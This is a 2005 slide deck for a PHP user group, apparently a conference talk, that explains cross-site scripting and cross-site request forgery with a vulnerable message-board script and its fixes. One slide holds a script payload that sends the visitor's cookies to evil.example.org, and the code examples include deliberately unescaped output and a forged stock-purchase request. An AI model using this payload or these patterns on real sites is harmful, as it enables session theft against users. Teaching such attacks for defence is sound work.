

# XSS & CSRF

Programmers Prepare, Users Beware

Ben Ramsey  
Atlanta PHP  
7 July 2005

# Overview

- ▶ **Cross-site Scripting (XSS)**
- ▶ **Cross-site Request Forgeries (CSRF)**
- ▶ **Questions**

# XSS (Cross-site Scripting)

- ▶ Exploits user/browser trust in a Web site
- ▶ Generally involve sites that display foreign data (forums, Web mail clients, RSS feed readers)
- ▶ Inject content of attacker's choosing
- ▶ Intent is to gain user information
- ▶ Attack is not “personal”

# Typical XSS Process

- ▶ **Naughty user visits vulnerable site**
- ▶ **Naughty user exploits the vulnerable site by posting Javascript code to the site**
- ▶ **Code posted usually sends information to another site (hence the term “cross-site”)**
- ▶ **Nice user visits the vulnerable site**
- ▶ **Nice user loads page with bad code (unknowingly) and runs the code**
- ▶ **Nice user unknowingly sends sensitive information to naughty user**

# Message Board

```
<form method="POST">  
<input type="text" name="message"/><br/>  
<input type="submit"/>  
</form>  
  
<!-- continued . . . -->
```

# Message Board

```
<?php

if (isset($_POST['message'])) {
    file_put_contents('board.txt',
        "{$_POST['message']}<hr/>",
        FILE_APPEND);
}

$messages =
    file_get_contents('board.txt');
echo $messages;

?>
```

# Message Board

- ▶ **Imagine what happens when a the naughty user enters:**

```
<script>document.location = 'http://evil.example.org/steal_cookies.php?cookies=' + document.cookie</script>
```

- ▶ **Now, all cookies from the nice user will be stolen when this page is accessed**

# Preventing XSS

- ▶ **Filter all incoming data -- ensure that input received is input expected**
- ▶ **Use a whitelist approach**
- ▶ **Use a strict naming convention**
- ▶ **Use existing PHP functions to escape data on output**

# Safer Message Board

```
<?php

if (isset($_POST['message'])) {
    file_put_contents('board.txt',
        "{$_POST['message']}<hr/>",
        FILE_APPEND);
}

$messages =
    file_get_contents('board.txt');
echo htmlentities($messages);

?>
```

# CSRF (Cross-site Request Forgeries)

- ▶ Exploits a Web site's trust in the user/browser
- ▶ Generally involve Web sites that rely on the identity of the users
- ▶ Perform HTTP requests of the attacker's choosing
- ▶ Intent is to trick a user into performing an HTTP request/action
- ▶ Attack is not "personal"

# Typical CSRF Process

- ▶ **Naughty user visits vulnerable site**
- ▶ **Naughty user exploits the vulnerable site by posting an IMG tag or other code that sends an HTTP request**
- ▶ **Code posted usually causes a request to be made to another site (hence the term “cross-site”)**
- ▶ **Nice user visits the vulnerable site**
- ▶ **Nice user loads page with bad code**
- ▶ **Nice user unknowingly causes an HTTP request to be sent**

# Quick look at HTTP

- ▶ **Question:** You load up a page in a Web browser that has three images on it and a LINK tag for a CSS file. How many HTTP requests were made?
- ▶ **Answer:** Five

# Quick look at HTTP

```
GET / HTTP/1.1
Host: example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml, image/png, image/jpeg,
        image/gif, */*
```

```
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 57
```

```
<html>

</html>
```

# Quick look at HTTP

```
GET /image.png HTTP/1.1  
Host: example.org  
Accept: text/xml, image/png, image/jpeg,  
        image/gif, */*
```

# Quick look at HTTP

- ▶ Browsers do not restrict the IMG tag to specific image types
- ▶ IMG tag could point to a page instead of an image
- ▶ Consider the following URL:  
`http://stocks.example.org/stocks.php?symbol=IBM&shares=40`
- ▶ CSRF makes use of local cookies to exploit the trust of the Web site in the user

# Quick look at HTTP

```
GET /stocks.php?symbol=IBM&shares=40 HTTP/1.1
Host: stocks.example.org
Accept: text/xml, image/png, image/jpeg,
       image/gif, */*
Cookie: PHPSESSID=1234567890
```

# Preventing CSRF

- ▶ Use POST rather than GET in forms
- ▶ Use `$_POST` rather than rely on `register_globals`; turn off `register_globals`
- ▶ Do not focus on convenience
- ▶ Force the use of your own forms

# For more information...

- ▶ My Web site: <http://benramsey.com>
- ▶ PHP Security Consortium: <http://phpsec.org>

*Questions?*